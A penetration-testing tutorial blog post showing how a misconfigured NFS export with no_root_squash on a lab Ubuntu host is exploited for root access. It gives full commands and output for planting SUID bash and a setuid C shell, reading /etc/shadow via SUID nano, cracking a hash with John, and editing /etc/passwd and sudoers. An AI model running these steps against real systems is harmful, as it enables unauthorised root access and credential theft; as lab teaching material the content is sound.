Linux Privilege Escalation using Misconfigured NFS

May 26, 2018 By Raj Chandel

After solving several OSCP Challenges we decided to write an article on the various methods used for Linux privilege escalation, which can be helpful for our readers in their penetration testing projects. In this article, we will learn how to exploit a misconfigured NFS share to gain root access to a remote host machine.

Table of Contents

Introduction of NFS

Misconfigured NFS Lab setup

Scanning NFS shares

- Nmap script
- showmount

Exploiting NFS server for Privilege Escalation via:

Bash file

C program file

Nano/vi

- Obtain a shadow file
- Obtain passwd file
- Obtain sudoers file

Let's Start!!

Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP **port 2049** for sharing any files/directories over a network.

Misconfigured NFS Lab setup

Basically, there are three core configuration files (/etc/exports, /etc/hosts.allow, and /etc/hosts.deny) you will need to configure to set up an NFS server. But to configure weak NFS server we will look only /etc/export file.

To **install NFS** service; execute below command in your terminal and open /etc/export file for configuration.

```
sudo apt-get update
sudo apt install nfs-kernel-server
nano /etc/exports
```

The **/etc/exports** file holds a record for each directory that you expect to share within a network machine. Each record describes how one directory or file is shared.

Apply basic syntax for configuration:

Directory ***Host-IP(Option-list)***

There are various options will define which type of Privilege that machine will have over shared directory.

- **rw**: Permit clients to read as well as write access to the shared directory.
- **ro**: Permit clients to Read-only access to shared directory..
- **root_squash:** This option Prevents file request made by user root on the client machine because NFS shares change the root user to the nfsnobody user, which is an unprivileged user account.
- **no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implication.
- **async**: It will speed up transfers but can cause data corruption as NFS server doesn't wait for the complete write operation to be finished on the stable storage, before replying to the client.
- **sync:** The sync option does the inverse of async option where the NFS server will reply to the client only after the data is finally written to the stable storage.

```
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home       *(rw,no_root_squash)
```


Hopefully, it might be clear to you, how to configure the /etc/export file by using a particular option. An NFS system is considered weak or Misconfigured when following entry/record is edit into it for sharing any directory.

```
/home       *(rw,no_root_squash)
```

Above entry shows that we have shared **/home** directory and allowed the **root user** on the client to access files to **read/ write** operation and *** sign** denotes connection from any Host machine. After then restart the service with help of the following command.

```
sudo /etc/init.d/nfs-kernel-server restart
```

```
root@ubuntu:~# sudo /etc/init.d/nfs-kernel-server restart
[ ok ] Restarting nfs-kernel-server (via systemctl): nfs-kernel-server.service.
```

Scanning NFS shares

Nmap

You can take help of Nmap script to scan NFS service in target network because it reveals the name of share directory of the target's system if port 2049 is opened.

```
nmap -sV --script=nfs-showmount 192.168.1.102
```

```
root@kali:~# nmap -sV --script=nfs-showmount 192.168.1.102
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-24 07:24 EDT
Nmap scan report for 192.168.1.102
Host is up (0.000074s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| nfs-showmount:
|_  /home *
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3         2049/udp  nfs
|   100003  2,3,4       2049/tcp  nfs
|   100005  1,2,3      37070/udp  mountd
|   100005  1,2,3      37273/tcp  mountd
|   100021  1,3,4      34993/tcp  nlockmgr
|   100021  1,3,4      54899/udp  nlockmgr
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
2049/tcp open  nfs_acl 2-3 (RPC #100227)
MAC Address: 00:0C:29:DB:CE:33 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 7.22 seconds
```

Basically nmap exports showmount -e command to identify the shared directory and here we can clearly observe **/home *** is shared directory for everyone in the network.

Showmount

The same thing can be done manually by using showmount command but for that install the nfs-common package on your local machine with help of the following command.

```
apt-get install nfs-common
showmount -e 192.168.1.102
```

```
root@kali:~# showmount -e 192.168.1.102
Export list for 192.168.1.102:
/home *
```

Exploiting NFS server for Privilege Escalation

Bash file

Now execute below command on your local machine to exploit NFS server for root privilege.

```
mkdir /tmp/raj
mount -t nfs 192.168.1.102:/home /tmp/raj
cp /bin/bash .
chmod +s bash
ls -la bash
```

Above command will create a new folder raj inside /tmp and mount shared directory /home inside /tmp/raj. Then upload a local exploit to gain root by copying bin/bash and set suid permission.

```
root@kali:~# mkdir /tmp/raj
root@kali:~# mount -t nfs 192.168.1.102:/home /tmp/raj
root@kali:~# cd /tmp/raj
root@kali:/tmp/raj# cp /bin/bash .
root@kali:/tmp/raj# chmod +s bash
root@kali:/tmp/raj# ls -la bash
-rwsr-sr-x 1 root root 1111240 May 24 07:31 bash
root@kali:/tmp/raj#
```

Use **df -h** command to get a summary of the amount of free disk space on each mounted disk.

```
root@kali:~# df -h
Filesystem           Size  Used Avail Use% Mounted on
udev                 2.0G     0  2.0G   0% /dev
tmpfs                395M   12M  383M   4% /run
/dev/sda1             77G   15G   58G  21% /
tmpfs                2.0G   56M  1.9G   3% /dev/shm
tmpfs                5.0M     0  5.0M   0% /run/lock
tmpfs                2.0G     0  2.0G   0% /sys/fs/cgroup
tmpfs                395M   16K  395M   1% /run/user/131
tmpfs                395M   48K  395M   1% /run/user/0
192.168.1.102:/home   19G  5.4G   13G  31% /tmp/raj
```

First, you need to compromise the target system and then move to the privilege escalation phase. Suppose you have successfully login into victim's machine through ssh. Now we know that /home is shared directory, therefore, move inside it and follow below steps to get root access of victim's machine.

```
cd /home
ls
./bash -p
id
whoami
```

So, it was the first method to pwn the root access with help of bin/bash if NFS system is configured weak.

```
root@kali:~# ssh ignite@192.168.1.102
ignite@192.168.1.102's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-41-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

214 packages can be updated.
9 updates are security updates.

*** System restart required ***
Last login: Thu May 17 09:56:33 2018 from 192.168.1.107
ignite@ubuntu:~$ cd /home
ignite@ubuntu:/home$ ls
bash  hacker  ignite  raaz  raj
ignite@ubuntu:/home$ ./bash -p
bash-4.4# id
uid=1001(ignite) gid=1001(ignite) euid=0(root) egid=0(root) groups=0(root),27(sudo),1001(ignite)
bash-4.4# whoami
root
```

C Program

Similarly, we can use C language program file for root privilege escalation. We have generated a C-Program file and copied it into /tmp/raj folder. Since it is c program file therefore first we need to compile it and then set suid permission as done above.

```
cp asroot.c /tmp/raj
cd /tmp/raj
gcc asroot.c -o shell
chmod +s shell
```

```
root@kali:~/pentest/shell# cat asroot.c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
   setuid(geteuid());
   system("/bin/bash");
   return 0;
}


root@kali:~/pentest/shell# cp asroot.c /tmp/raj
root@kali:~/pentest/shell# cd /tmp/raj
root@kali:/tmp/raj# gcc asroot.c -o shell
asroot.c: In function 'main':
asroot.c:8:4: warning: implicit declaration of function 'system' [-Wim
    system("/bin/bash");
    ^~~~~~
root@kali:/tmp/raj# chmod +s shell
root@kali:/tmp/raj# ls -la shell
-rwsr-sr-x 1 root root 8520 May 24 08:12 shell
```


Now repeat the above process and run shell file to obtained root access.

```
cd /home
ls
./shell
id
whoami
```

So, it was the second method to pwn the root access with help of bin/bash via c-program if NFS system is misconfigured.

```
root@kali:~# ssh ignite@192.168.1.102
ignite@192.168.1.102's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-41-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

214 packages can be updated.
9 updates are security updates.

*** System restart required ***
Last login: Thu May 24 05:07:19 2018 from 192.168.1.107
ignite@ubuntu:~$ cd /home
ignite@ubuntu:/home$ ls
asroot.c  bash  hacker  ignite  raaz  raj  shell
ignite@ubuntu:/home$ ./shell
root@ubuntu:/home# id
uid=0(root) gid=1001(ignite) groups=1001(ignite),27(sudo)
root@ubuntu:/home# whoami
root
root@ubuntu:/home#
```

Nano/Vi

Nano and vi editor both are most dangerous applications that can lead to privilege escalation if share directly or indirectly. In our case, it not shared directly but still, we can use any application for exploiting root access.

Follow the below steps:

```
cp /bin/nano .
chmod 4777 nano
ls -la nano
```

```
root@kali:/tmp/raj# cp /bin/nano .
root@kali:/tmp/raj# chmod 4777 nano
root@kali:/tmp/raj# ls -la nano
-rwsrwxrwx 1 root root 241744 May 24 09:12 nano
root@kali:/tmp/raj#
```

Since we have set suid permission to nano therefore after compromising target's machine at least once we can escalate root privilege through various techniques.

```
cd /home
ls
./nano -p /etc/shadow
```

```
root@kali:/tmp/raj# ssh ignite@192.168.1.102
ignite@192.168.1.102's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-41-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

205 packages can be updated.
0 updates are security updates.

*** System restart required ***
Last login: Thu May 24 06:07:21 2018 from 192.168.1.107
ignite@ubuntu:~$ cd /home
ignite@ubuntu:/home$ ls
asroot.c  bash  hacker  ignite  nano  raaz  raj
ignite@ubuntu:/home$ ./nano -p /etc/shadow
```


When you will execute the above command it will open the shadow file, from where you can copy the hash password of any user.

```
root:!:17660:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
raj:$1$nd0XcyyO$lTIqiwMVA2tOC3HO6GEas.:17660:0:99999:7:::
ftp:*:17660:0:99999:7:::
sshd:*:17660:0:99999:7:::
mysql:!:17660:0:99999:7:::
ignite:$6$bQlMiXQH$9FonQS2l5tVfKwmVqW4hWfpvO11c4ahjRIbpDAEhH99kI46gOq2BARcAnBbX
raaz:$6$0iYj8YFx$p0URWy4/JZZ9xg5GqsUmYSJ7ecgQVGVqVd0Cyj.IqwFr.N/7TP6dFPjNqTmVH5
statd:*:17675:0:99999:7:::
```

Here I have copied hash password of the user: raj in a text file and saved as shadow then use john the ripper to crack that hash password.

Awesome!!! It tells raj having password 123. Now either you can login as raj and verify its privilege or follow the next step.

```
root@kali:~/Desktop# john shadow
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Warning: only loading hashes of type "md5crypt", but also saw type "sha512crypt"
Use the "--format=sha512crypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "md5crypt", but also saw type "crypt"
Use the "--format=crypt" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
123              (raj)
1g 0:00:00:00 DONE 2/3 (2018-05-24 09:19) 5.882g/s 17305p/s 17305c/s 17305C/s money..hello
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Passwd file

Now we know the password of raj user but we are not sure that raj has root privilege or not, therefore, we can add raj into the root group by editing etc/passwd file.

```
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
ftp:x:121:129:ftp daemon,,,:/srv/ftp:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
demo:$1$demo$N8rNOM51XVLc6Sj7cqsmT/:0:0:root:/root:/bin/bash
ignite:x:1001:1001:,,,:/home/ignite:/bin/bash
hack:$1$hack$22.CgYt2uMolqeatCk9ih/:0:0:root:/root:/bin/bash
raaz:x:0:0:,,,:/home/raaz:/bin/bash
statd:x:124:65534::/var/lib/nfs:/bin/false
raj:x:1000:1000:,,,:/home/raj:/bin/bash
```

Open the passwd file with help of nano and make the following changes

```
./nano -p etc/passwd
raj:x:0:0:,,,:/home/raj:/bin/bash
```

```
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
ftp:x:121:129:ftp daemon,,,:/srv/ftp:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
demo:$1$demo$N8rNOM51XVLc6Sj7cqsmT/:0:0:root:/root:/bin/bash
ignite:x:1001:1001:,,,:/home/ignite:/bin/bash
hack:$1$hack$22.CgYt2uMolqeatCk9ih/:0:0:root:/root:/bin/bash
raaz:x:0:0:,,,:/home/raaz:/bin/bash
statd:x:124:65534::/var/lib/nfs:/bin/false
raj:x:0:0:,,,:/home/raj:/bin/bash
```

Now use su command to switch user and enter the password found for raj.

```
su raj
id
whoami
```

Great!!! This was another way to get root access to the target machine.

```
ignite@ubuntu:/home$ su raj
Password:
root@ubuntu:/home# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),
root@ubuntu:/home# whoami
root
root@ubuntu:/home#
```

Sudoers file

We can also escalate root privilege by editing the sudoers file where we can assign ALL privilege to our non-root user (ignite).

```
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root  ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
```


Open the sudoers file with help of nano and make the following changes

```
./nano -p /etc/sudoers
ignite ALL=(ALL:ALL) NOPASSWD: ALL
```

```
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root  ALL=(ALL:ALL) ALL
ignite ALL=(ALL:ALL) NOPASSWD: ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
```

Now use sudo bash command to access root terminal and get root privilege

```
sudo bash
id
whoami
```

```
ignite@ubuntu:/home$ sudo bash
root@ubuntu:/home# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home# whoami
root
root@ubuntu:/home#
```

Conclusion: Thus we saw the various approach to escalated root privilege if port 2049 is open for NFS services and server is poorly configured. For your practice, you can play with ORCUS which is a vulnerable lab of vulnhub and read the article from here.